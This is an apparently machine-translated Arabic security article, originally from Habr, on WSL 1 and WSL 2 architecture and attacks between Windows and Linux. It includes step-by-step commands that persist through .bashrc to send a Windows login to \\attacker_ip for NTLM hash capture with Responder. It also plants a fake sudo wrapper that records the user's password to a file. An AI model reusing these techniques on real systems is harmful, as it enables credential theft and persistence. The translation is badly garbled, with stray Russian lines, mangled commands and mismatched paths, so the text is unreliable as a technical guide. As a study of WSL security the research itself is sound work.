مرحبًا حبر! تطلق OTUS مسارًا جديدًا للدورة في أكتوبر . تحسبًا لبدء الدورة، نشارككم مقالًا كتبه أحد أساتذتنا، ألكسندر كولسنيكوف.

في عام 2016، قدمت Microsoft تقنية WSL الجديدة لمجتمع تكنولوجيا المعلومات (Windows Sالنظام الفرعي ل L(inux)، الأمر الذي سمح على المدى الطويل بتوحيد المنافسين الذين كانوا في السابق غير قابلين للتوفيق والذين كانوا يتنافسون على الشعبية بين مستخدمي أنظمة التشغيل العاديين والمتقدمين على حد سواء: Windows и Linuxأتاحت هذه التقنية إمكانية استخدام أدوات نظام التشغيل. Linux محاط Windows دون الحاجة إلى إطلاق Linuxعلى سبيل المثال، باستخدام خاصية الإقلاع المتعدد. على موقع Habr، ستجد العديد من المقالات التي تشرح فوائد استخدام WSL. مع ذلك، وللأسف، لم تُعثر حتى وقت كتابة هذا المقال على أي دراسات حول أمان هذا التكامل بين أنظمة التشغيل. يهدف هذا المقال إلى تدارك هذا النقص. سيتناول المقال خصائص بنيتي WSL 1 و2، ويحلل عدة أمثلة لهجمات على أنظمة تستخدم هذه التقنيات. ينقسم المقال إلى جزأين: الأول يعرض الأساليب النظرية الرئيسية للهجوم. Linux и Windowsستتناول المقالة الثانية إعداد بيئة اختبار وإعادة إنتاج الهجمات.
WSL 1: السمات المعمارية
لفهم مشكلات أمان WSL فهمًا كاملًا، من الضروري تحديد الفروق الدقيقة الرئيسية المرتبطة بتنفيذ النظام الفرعي. ومن أهم احتياجات المستخدم التي يلبيها WSL تمكين الوصول إلى الطرفية. Linux الأنظمة الموجودة على المضيف مع نظام التشغيل Windowsكما أن التوافق المقدم كان أصليًا لدرجة أن الملفات القابلة للتنفيذ Linux يمكن إطلاق (ELF) مباشرة في النظام Windowsلتحقيق هذه الأهداف في Windows 10 تم إنشاء نظام فرعي خاص يسمح بتشغيل التطبيقات Linux باستخدام مجموعة من استدعاءات النظام المحددة - وبالتالي، تمت محاولة لربط مجموعة من استدعاءات النظام Linux في Windowsتم تنفيذ ذلك عمليًا بإضافة برامج تشغيل جديدة وتنسيق معالجة جديد. أما من الناحية البصرية، فكانت البنية كالتالي:

باختصار، التفاعل مع نظام التشغيل Linux تم تنظيمها باستخدام عدة وحدات نواة ونوع خاص من العمليات يُسمى بيكو. يوضح الرسم التخطيطي أعلاه أن العملية التي تعمل في المثيل Linux يجب أن يكون التطبيق أصليًا على المضيف، ويجب أن يستخدم نفس موارد التطبيقات العادية. Windowsلكن كيف يمكن تحقيق ذلك؟ في المشروع تم تطوير مفاهيم العمليات من أجل Windows، والتي وفرت جميع مكونات نظام التشغيل اللازمة (اعتمادًا على إصدارها) لتشغيل تطبيق من نظام تشغيل آخر.
تجدر الإشارة إلى أن التجريد المقترح مكّن من عدم الاعتماد على نظام التشغيل (على وجه الخصوص، Windows)، والذي يتوقع بدء عملية أخرى لنظام التشغيل، واقترح نهجًا عامًا.
وبالتالي، يمكن تشغيل أي تطبيق داخل عملية pico دون اعتبار للنواة. Windows:
- يجب حل مشاكل التوافق وترجمة مكالمات النظام بواسطة موفري خدمة خاصين؛
- يجب تطبيق التحكم في الوصول من خلال مراقب الأمان. يقع المراقب في نواة النظام، وبالتالي Windows كان التحديث ضروريًا على شكل برنامج تشغيل جديد يمكنه العمل كمزود لهذه العمليات. يوضح الشكل التخطيطي أدناه نموذجًا أوليًا لعملية بيكو:

لأن نظام الملفات Linux يستخدم أسماء ملفات ومجلدات حساسة لحالة الأحرف، Windows تمت إضافة نوعين من أنظمة الملفات لاستخدامهما مع WSL: VolFS و DriveFS. VolFS هو تطبيق لنظام الملفات. LinuxDriveFS هو نظام ملفات يعمل وفقًا للقواعد Windows، ولكنه يتيح خيار تحديد حساسية حالة الأحرف في الأسماء.
WSL 2
كان لدى WSL 1 عدد من القيود التي حالت دون استخدامه لحل نطاق واسع من المهام: على سبيل المثال، كان يفتقر إلى القدرة على تشغيل أنظمة 32 بت Linux لم تتمكن التطبيقات من استخدام برامج تشغيل الأجهزة. لذلك، في عام 2020، تم إصدار WSL 2، الذي غيّر منهجية بناء النظام الفرعي. WSL 2 عبارة عن آلة افتراضية مُحسّنة تتوافق مع خصائص استهلاك الموارد في WSL 1. الآن، وبناءً على المشكلات التي يحلها المستخدم، يتم تحديد نظام التشغيل Windowsيمكنك تحديد الإصدار المطلوب من النظام الفرعي للعمل معه Linuxللتخفيف من الثغرات الأمنية المحتملة، تم تطبيق WSL 2 على أساس Hyper-V في Windows 10بهذا الشكل Windows لديه القدرة على تشغيل نواة نظام التشغيل بشكل منفصل Linuxمن الجدير بالذكر أن الإصدار الأول من WSL تم تقديمه كميزة تجريبية تهدف إلى إظهار اتجاه التطوير. Windows في هذا المجال، كان الانتقال إلى Hyper-V أمراً لا مفر منه. تبدو البنية النهائية على النحو التالي:

في هذا الإصدار، نواة النظام Windows и Linux لكل نظام موارده الخاصة، ولا يتداخل إلا ضمن نظام الملفات، لكن هذا التداخل ليس كاملاً. ويتم التفاعل بين أنظمة الملفات من خلال برنامج وسيط يعمل بنظام العميل والخادم، ويعتمد على بروتوكول 9P.
توفر Microsoft اليوم القدرة على التبديل بين WSL 1 وWSL 2. كلا الإصدارين متاحان للاستخدام.
أمن WSL
في الوقت الحالي، هناك العديد من الأعمال التي تصف بعض الأساليب لاستخدام أدوات نظام التشغيل المشروعة لمهاجمة الاتصال بين الأنظمة الفرعية. سوف نستخدم نصوصهم للتحقق من أهمية الهجمات في وقت كتابة هذا التقرير. القائمة العامة للهجمات والسيناريوهات:
1. تنفيذ نظام الملفات: حقوق الوصول، وتوافر الأدلة المشتركة/آليات تبادل البيانات.
تم إجراء بحث لتحديد انتهاكات قواعد الوصول من Linux FS->Windows FS، Windows FS->Linux FS. أثبتت الأبحاث القدرة على تعديل ملف معين داخل نظام التشغيل المستهدف. كما جرت محاولات لاستبدال وإنشاء نسخ مكررة وحذف جزء من أنظمة الملفات.
السيناريو:
- أ. هجوم من نظام التشغيل Windows — تعديل الملفات من دليل /etc الخاص بنظام التشغيل Linux.
- ب. هجوم من نظام التشغيل Linux — تعديل الملفات في الدلائل:
C:Windows,C:Program Files,C:Users<User>
2. تنفيذ مكدس الشبكة.
أُجري البحث باستخدام أمثلة لهجمات من نظام التشغيل Linux في Windowsتم استغلال الميزات التشغيلية لمجموعة الشبكة، وتحديداً آليات المصادقة الخاصة بها لمختلف الموارد.
السيناريو:
- فتح الوصول إلى منفذ مشغول في النظام Windows
- فتح منفذ دون الحقوق المناسبة
- تشغيل جلسة تحكم عن بعد باستخدام ملف ELF في نظام التشغيل Windows.
3. إخفاء إطلاق العمليات البرمجية الضارة باستخدام نظام WSL الفرعي.
اعتمد البحث على حقيقة بسيطة وهي أن أنظمة الأمان الفرعية لا يمكنها اعتراض الأحداث في نواة أخرى تعمل باستخدام مزود شرعي من نظام التشغيل في حالة WSL 1. وفي حالة WSL 2، لا توجد طريقة لعرض الأحداث التي تحدث في نواة منفصلة داخل جهاز افتراضي خفيف الوزن.
السيناريو:
1) قم بتشغيل التطبيق للوصول عن بعد إلى النظام وعرض الأحداث المسجلة.
تجارب WSL 1: اختطاف التجزئة (نظام التشغيل) Windows)
وصلنا أخيرًا إلى الجزء العملي. أولًا، نحتاج إلى تجهيز بيئة الاختبار. ستُجرى جميع التجارب على منصة اختبار مزودة بـ Windows 10 2004. صورة نظام التشغيل المختارة لـ WSL كانت Ubuntu ١٨ أبريل. تم اختيار الصورة عشوائيًا، وأي صورة أخرى ستفي بالغرض. أوامر إعداد الحامل:
يجب عليك أولا إطلاق powershell.exe كمسؤول.
بالنسبة لـ WSL 1، تحتاج إلى تشغيل الأوامر:
- ممكن-Windowsميزة اختيارية - عبر الإنترنت - اسم الميزة: مايكروسوفت -Windows-نظام فرعي-Linux #تفعيل ميزة WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #تحميل الصورة Linux من متجر مايكروسوفت
بعد إعادة تشغيل النظام، يمكنك تشغيل أمر bash. إذا سارت الأمور على ما يرام، فسترى مخرجات مشابهة لما يلي في وحدة التحكم. Windows:

سنستخدم توزيعة كالي كجهاز للمهاجم. Linuxيجب أن تكون جميع الأجهزة على نفس الشبكة المحلية.
لنفترض أن لدينا وصولاً غير مميز إلى WSL على الجهاز Windowsلنحاول مهاجمة نظام التشغيل. Linux، استدعاء الأمر من Linuxلتنفيذ الهجوم، سنستخدم تقنية التشغيل التلقائي البسيطة - سنضيف البرنامج النصي الخاص بنا إلى البيئة. Linuxللقيام بذلك، عليك تغيير الملف .bashrc.
على جهاز به WSL نقوم بتنفيذ:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitبواسطة سيارة كالي Linux ننفذ:
1. Responder -I eth0 -rdvwНа машине Windows لنقم بتشغيل باش.
نحن ننتظر نتائج جهاز كالي. Linux:

وهكذا حصلنا على تجزئات المستخدم Windows عبر النظام الفرعي WSL عن طريق تشغيل أمر على النظام Linux.
تجارب WSL 1: الحصول على كلمة مرور المستخدم (نظام التشغيل) Linux)
دعونا نفعل تجربة أخرى. خلال هذا الفحص سوف نقوم بإضافة إلى الملف .bashrc عدة أوامر للحصول على كلمة مرور مستخدم نظام التشغيل Linux.
لنبدأ تشغيل bash وندخل الأوامر:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit لكي ينجح الهجوم، يجب على المستخدم سام استدعاء الأمر sudo في الطرفية. Linuxبعد ذلك، كلمة مرور مستخدم نظام التشغيل Linux سيكون موجودًا في الملف pass.txt:

تم تنفيذ الهجمات للحصول على معلومات نظرية فقط.
سيصف الجزء التالي من المقالة تنفيذ بروتوكول 9P، والنظر في إنشاء ماسح ضوئي لهذا البروتوكول، وكذلك تنفيذ هجوم باستخدامه.
قائمة الأدب المستخدم
اقرأ أكثر
المصدر: www.habr.com
